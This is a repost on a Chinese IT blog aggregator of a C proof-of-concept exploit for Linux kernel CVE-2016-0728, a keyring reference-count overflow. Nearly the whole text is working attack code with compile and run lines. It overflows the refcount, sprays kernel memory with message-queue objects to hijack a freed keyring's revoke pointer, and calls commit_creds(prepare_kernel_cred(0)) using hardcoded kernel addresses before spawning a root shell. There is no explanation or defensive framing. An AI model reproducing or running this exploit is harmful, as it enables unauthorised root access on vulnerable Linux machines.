IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    [+] Linux Kernel +3.8 0day PoC [+]

    没穿底裤发表于 2016-01-20 11:19:10
    love 0

    /* https://gist.github.com/PerceptionPointTeam/18b1e86d1c0f8531ff8f */
    /* $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall */
    /* $ ./cve_2016_072 PP_KEY */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/types.h>
    #include <keyutils.h>
    #include <unistd.h>
    #include <time.h>
    #include <unistd.h>
    
    #include <sys/ipc.h>
    #include <sys/msg.h>
    
    typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
    typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
    _commit_creds commit_creds;
    _prepare_kernel_cred prepare_kernel_cred;
    
    #define STRUCT_LEN (0xb8 - 0x30)
    #define COMMIT_CREDS_ADDR (0xffffffff81094250)
    #define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81094550)
    
    
    
    struct key_type {
        char * name;
        size_t datalen;
        void * vet_description;
        void * preparse;
        void * free_preparse;
        void * instantiate;
        void * update;
        void * match_preparse;
        void * match_free;
        void * revoke;
        void * destroy;
    };
    
    void userspace_revoke(void * key) {
        commit_creds(prepare_kernel_cred(0));
    }
    
    int main(int argc, const char *argv[]) {
    	const char *keyring_name;
    	size_t i = 0;
        unsigned long int l = 0x100000000/2;
    	key_serial_t serial = -1;
    	pid_t pid = -1;
        struct key_type * my_key_type = NULL;
        
    struct { long mtype;
    		char mtext[STRUCT_LEN];
    	} msg = {0x4141414141414141, {0}};
    	int msqid;
    
    	if (argc != 2) {
    		puts("usage: ./keys <key_name>");
    		return 1;
    	}
    
        printf("uid=%d, euid=%d\n", getuid(), geteuid()); 
        commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
        prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
        
        my_key_type = malloc(sizeof(*my_key_type));
    
        my_key_type->revoke = (void*)userspace_revoke;
        memset(msg.mtext, 'A', sizeof(msg.mtext));
    
        // key->uid
        *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
        //key->perm
        *(int*)(&msg.mtext[64]) = 0x3f3f3f3f;
    
        //key->type
        *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;
    
        if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
            perror("msgget");
            exit(1);
        }
    
        keyring_name = argv[1];
    
    	/* Set the new session keyring before we start */
    
    	serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
    	if (serial < 0) {
    		perror("keyctl");
    		return -1;
        }
    	
    	if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
    		perror("keyctl");
    		return -1;
    	}
    
    
    	puts("Increfing...");
        for (i = 1; i < 0xfffffffd; i++) {
            if (i == (0xffffffff - l)) {
                l = l/2;
                sleep(5);
            }
            if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
                perror("keyctl");
                return -1;
            }
        }
        sleep(5);
        /* here we are going to leak the last references to overflow */
        for (i=0; i<5; ++i) {
            if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
                perror("keyctl");
                return -1;
            }
        }
    
        puts("finished increfing");
        puts("forking...");
        /* allocate msg struct in the kernel rewriting the freed keyring object */
        for (i=0; i<64; i++) {
            pid = fork();
            if (pid == -1) {
                perror("fork");
                return -1;
            }
    
            if (pid == 0) {
                sleep(2);
                if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
                    perror("msgget");
                    exit(1);
                }
                for (i = 0; i < 64; i++) {
                    if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
                        perror("msgsnd");
                        exit(1);
                    }
                }
                sleep(-1);
                exit(1);
            }
        }
       
        puts("finished forking");
        sleep(5);
    
        /* call userspace_revoke from kernel */
        puts("caling revoke...");
        if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
            perror("keyctl_revoke");
        }
    
        printf("uid=%d, euid=%d\n", getuid(), geteuid());
        execl("/bin/sh", "/bin/sh", NULL);
    
        return 0;
    }

     



沪ICP备19023445号-2号
友情链接